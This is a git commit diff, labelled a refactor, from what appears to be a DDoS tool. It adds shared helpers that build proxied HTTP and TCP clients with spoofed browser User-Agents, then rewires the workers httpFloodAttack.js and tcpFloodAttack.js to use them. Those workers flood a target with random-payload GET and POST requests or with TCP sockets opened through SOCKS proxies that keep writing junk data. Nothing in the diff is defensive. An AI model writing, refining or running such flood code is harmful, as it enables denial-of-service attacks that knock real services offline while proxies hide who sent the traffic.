refactor: 🧊 modularized some util functions

package.json

@@ -19,6 +19,7 @@
   "dependencies": {
     "axios": "^1.7.9",
     "body-parser": "^1.20.3",
+    "cheerio": "^1.0.0",
     "cross-env": "^7.0.3",
     "express": "^4.21.2",
     "lucide-react": "^0.344.0",

server/utils/clientUtils.js

@@ -0,0 +1,112 @@
+import axios from "axios";
+import net from "net";
+import { SocksProxyAgent } from "socks-proxy-agent";
+
+// Misc
+export function createAgent(proxy) {
+  if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") {
+    throw new Error("Unsupported proxy protocol for agent: " + proxy.protocol);
+  }
+
+  const uri = `${proxy.protocol}://${
+    proxy.username && proxy.password
+      ? `${proxy.username}:${proxy.password}@`
+      : ""
+  }${proxy.host}:${proxy.port}`;
+
+  return new SocksProxyAgent(uri);
+}
+
+// HTTP Client
+export function createMimicHttpClient(proxy, userAgent) {
+  return axios.create({
+    headers: { "User-Agent": userAgent },
+    proxy,
+    timeout: 5000,
+    validateStatus: (status) => {
+      return status < 500;
+    },
+  });
+}
+
+export function createHttpClient(
+  clientConfig = {
+    headers: {
+      "User-Agent":
+        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
+    },
+    timeout: 5000,
+    validateStatus: (status) => {
+      return status < 500;
+    },
+    proxy: {
+      protocol: "http",
+      host: "127.0.0.1",
+      port: 1080,
+    },
+  }
+) {
+  const config = { ...clientConfig };
+  const client = axios.create(config);
+  const proxy = config.proxy;
+
+  if (proxy.protocol == "http" || proxy.protocol == "https") {
+    config.proxy = {
+      host: proxy.host,
+      port: proxy.port,
+      auth: proxy.username ? { username: proxy.username } : null,
+    };
+  } else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") {
+    config.httpAgent = createAgent(proxy);
+  } else {
+    throw new Error(
+      "Unsupported proxy protocol for HTTP client: " + proxy.protocol
+    );
+  }
+
+  return client;
+}
+
+// TCP Client
+const DEFAULT_SOCKET_CONFIG = {
+  host: "127.0.0.1",
+  port: 1080,
+  timeout: 5000,
+};
+
+export function createTcpClient(
+  proxy,
+  socketConfig = DEFAULT_SOCKET_CONFIG,
+  callback
+) {
+  if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") {
+    throw new Error(
+      "Unsupported proxy protocol for TCP client: " + proxy.protocol
+    );
+  }
+
+  const socket = new net.Socket();
+  const proxyAgent = createAgent(proxy);
+  const config = { ...DEFAULT_SOCKET_CONFIG, ...socketConfig };
+
+  socket.setTimeout(config.timeout);
+
+  socket.connect(
+    { host: config.host, port: config.port, agent: proxyAgent },
+    () => {
+      if (callback) callback(socket);
+      socket["open"] = true;
+    }
+  );
+
+  socket.on("close", () => {
+    socket["open"] = false;
+  });
+
+  socket.on("timeout", () => {
+    socket.destroy();
+    socket["open"] = false;
+  });
+
+  return socket;
+}

server/utils/mcUtils.js

@@ -1,6 +1,5 @@
 // Adapted from: https://github.com/Cryptkeeper/mcping-js/
-import net from "net";
-import { SocksProxyAgent } from "socks-proxy-agent";
+import { createTcpClient } from "./clientUtils";
 
 class MinecraftProtocol {
   static writeVarInt(val) {
@@ -87,17 +86,7 @@ class MinecraftBufferReader {
 
 export function pingMinecraftServer(host, port, proxy) {
   return new Promise((resolve, reject) => {
-    const { protocol, host: proxyHost, port: proxyPort, username: proxyUsername, password: proxyPassword } = proxy;
-
-    const agent = new SocksProxyAgent(
-      `${protocol}://${proxyUsername && proxyPassword ? `${proxyUsername}:${proxyPassword}@` : ""}${proxyHost}:${proxyPort}`
-    );
-
-    const socket = net.createConnection({
-      host: host,
-      port: port,
-      agent: agent,
-    });
+    const socket = createTcpClient(proxy, { host, port });
 
     const timeoutTask = setTimeout(() => {
       socket.emit("error", new Error("Socket timeout"));

server/workers/httpFloodAttack.js

@@ -1,7 +1,6 @@
-import axios from "axios";
-import { SocksProxyAgent } from "socks-proxy-agent";
 import { parentPort, workerData } from "worker_threads";
 
+import { createMimicHttpClient } from "../utils/clientUtils.js";
 import { randomBoolean, randomString } from "../utils/randomUtils.js";
 
 const startAttack = () => {
@@ -14,39 +13,14 @@ const startAttack = () => {
 
   const sendRequest = async (proxy, userAgent) => {
     try {
-      const config = {
-        headers: { "User-Agent": userAgent },
-        timeout: 2000,
-        validateStatus: (status) => {
-          return status < 500;
-        },
-      };
-
-      if (proxy.protocol === "http") {
-        config.proxy = {
-          host: proxy.host,
-          port: proxy.port,
-        };
-
-        if (proxy.username && proxy.password) {
-          config.proxy.auth = {
-            username: proxy.username,
-            password: proxy.password,
-          }
-        }
-      } else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") {
-        config.httpAgent, config.httpsAgent = new SocksProxyAgent(
-          `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}`
-        );
-      }
-
+      const client = createMimicHttpClient(proxy, userAgent);
       const isGet = packetSize > 64 ? false : randomBoolean();
       const payload = randomString(packetSize);
 
       if (isGet) {
-        await axios.get(`${fixedTarget}/${payload}`, config);
+        await client.get(`${fixedTarget}/${payload}`);
       } else {
-        await axios.post(fixedTarget, payload, config);
+        await client.post(fixedTarget, payload);
       }
 
       totalPackets++;

server/workers/tcpFloodAttack.js

@@ -1,7 +1,6 @@
-import net from "net";
-import { SocksProxyAgent } from "socks-proxy-agent";
 import { parentPort, workerData } from "worker_threads";
 
+import { createTcpClient } from "../utils/clientUtils.js";
 import { randomString } from "../utils/randomUtils.js";
 
 const startAttack = () => {
@@ -11,40 +10,31 @@ const startAttack = () => {
   const port = parseInt(targetPort, 10);
   const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`;
 
+  if (isNaN(port)) throw new Error("Invalid port: Should be a number");
+  if (port < 1 || port > 65535)
+    throw new Error("Invalid port: Should be between 1 and 65535");
+
   let totalPackets = 0;
   const startTime = Date.now();
 
   const sendPacket = async (proxy) => {
-    const socket = new net.Socket();
-    let open = false;
-    socket.setTimeout(2000);
+    const socket = createTcpClient(proxy, { host: targetHost, port: port });
 
-    const proxyAgent = new SocksProxyAgent(
-      `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}`
-    );
-
-    setInterval(() => {
-      if (socket.writable && open) {
-        socket.write(randomString(packetSize));
-      }
-    }, [1000]);
-
-    socket.connect({ host: targetHost, port: port, agent: proxyAgent }, () => {
+    socket.on("connect", () => {
       totalPackets++;
-      open = true;
+
       parentPort.postMessage({
         log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
         totalPackets,
       });
-    });
 
-    socket.on("close", () => {
-      open = false;
-    });
-
-    socket.on("timeout", () => {
-      socket.destroy();
-      open = false;
+      const interval = setInterval(() => {
+        if (socket.writable && socket["open"]) {
+          socket.write(randomString(packetSize));
+        } else {
+          clearInterval(interval);
+        }
+      }, 3000);
     });
 
     socket.on("error", (err) => {